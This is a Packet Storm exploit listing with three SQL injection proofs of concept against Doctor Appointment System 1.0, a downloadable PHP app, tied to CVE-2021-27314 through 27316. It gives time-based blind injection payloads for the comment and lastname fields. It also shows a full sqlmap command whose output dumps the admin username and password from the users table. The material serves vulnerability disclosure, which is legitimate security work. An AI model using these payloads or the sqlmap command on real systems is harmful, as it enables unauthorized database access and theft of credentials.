exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Doctor Appointment System 1.0 SQL Injection

Doctor Appointment System 1.0 SQL Injection
Posted Mar 3, 2021
Authored by Soham Bakore

Doctor Appointment System version 1.0 suffers from remote SQL injection vulnerabilities in the username, comment, and lastname parameters.

tags | exploit, remote, vulnerability, sql injection
advisories | CVE-2021-27314, CVE-2021-27315, CVE-2021-27316
SHA-256 | 30d46cb3e47d899e4345c493b48c3c4ff7de646473e63a9a2de68496a41a6f7e

Doctor Appointment System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Doctor Appointment System 1.0 Blind SQL injection in comment parameter
# Date: 02-03-2021
# CVE: CVE-2021-27315
# Exploit Author: Soham Bakore
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0

Vulnerable File:
----------------
http://host/doctorappointment/contactus.php
<http://host/patient/search_result.php>

Vulnerable Issue:
-----------------
comment parameter has no input validation

POC:
----
1] Navigate to http://host/doctorappointment/contactus.php
2] In the comment parameter enter following payload to exploit blind SQL
Injection: '+AND+(SELECT+7827+FROM+(SELECT(SLEEP(10)))xEII)+AND+'1'%3d'1
3] This can further be escalated to dump sensitive information from the
database
------------------


# Exploit Title: Doctor Appointment System 1.0 Blind SQL injection in
lastname parameter
# Date: 02-03-2021
# CVE: CVE-2021-27316
# Exploit Author: Soham Bakore
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0

Vulnerable File:
----------------
http://host/doctorappointment/contactus.php
<http://host/patient/search_result.php>

Vulnerable Issue:
-----------------
lastname parameter has no input validation

POC:
----
1] Navigate to http://host/doctorappointment/contactus.php
2] In the lastname parameter enter following payload to exploit blind SQL
Injection: '+AND+(SELECT+7827+FROM+(SELECT(SLEEP(10)))xEII)+AND+'1'%3d'1
3] This can further be escalated to dump sensitive information from the
database
------------------

# Exploit Title: Doctor Appointment System 1.0 - SQL Injection in username parameter
# Date: 03-03-2021
# CVE: CVE-2021-27314
# Exploit Author: Soham Bakore, Nakul Ratti
# Vendor Homepage:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Software Link:
https://www.sourcecodester.com/php/14182/doctor-appointment-system.html
# Version: V1.0

Vulnerable File:
----------------
http://host/doctorappointmen <http://host/patient/search_result.php>
tsystem/admin/index.php

Vulnerable Issue:
-----------------
username parameter has no input validation

POC:
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
>sqlmap -r /root/CVE/das/req1.txt --batch --level 5 --risk 3 -p username
--random-agent --dbms mysql -D projectmms -T users --dump
___
__H__
___ ___[)]_____ ___ ___ {1.5.1.40#dev}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior
mutual consent is illegal. It is the end user's responsibility to obey all
applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program

[14:12:19] [INFO] parsing HTTP request from '/root/CVE/das/req1.txt'
[14:12:19] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0
(Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko)
Version/3.1.2 Safari/525.21' from file
'/usr/share/sqlmap/data/txt/user-agents.txt'
[14:12:19] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: username=admin' OR NOT 7090=7090-- kLSr&password=admin&submit=

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)
Payload: username=admin' OR (SELECT 2815 FROM(SELECT
COUNT(*),CONCAT(0x716a7a6271,(SELECT
(ELT(2815=2815,1))),0x7171706b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- RDnx&password=admin&submit=

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 4177 FROM
(SELECT(SLEEP(5)))qiHS)-- gqVm&password=admin&submit=
---
[14:12:19] [INFO] testing MySQL
[14:12:20] [INFO] confirming MySQL
[14:12:20] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.2.34, Apache 2.4.46
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[14:12:20] [INFO] fetching columns for table 'users' in database
'projectmms'
[14:12:20] [INFO] resumed: 'username'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] resumed: 'password'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] resumed: 'type'
[14:12:20] [INFO] resumed: 'varchar(100)'
[14:12:20] [INFO] fetching entries for table 'users' in database
'projectmms'
[14:12:20] [INFO] retrieved: 'admin'
[14:12:20] [INFO] retrieved: 'admin'
[14:12:20] [INFO] retrieved: 'admin'
Database: projectmms
Table: users
[1 entry]
+-------+----------+----------+
| type | username | password |
+-------+----------+----------+
| admin | admin | admin |
+-------+----------+----------+
------------------------------------------------------------------------------------------------------
Login or Register to add favorites

File Archive:

May 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    16 Files
  • 3
    May 3rd
    38 Files
  • 4
    May 4th
    15 Files
  • 5
    May 5th
    35 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    8 Files
  • 9
    May 9th
    66 Files
  • 10
    May 10th
    19 Files
  • 11
    May 11th
    27 Files
  • 12
    May 12th
    8 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    1 Files
  • 15
    May 15th
    19 Files
  • 16
    May 16th
    66 Files
  • 17
    May 17th
    28 Files
  • 18
    May 18th
    32 Files
  • 19
    May 19th
    13 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close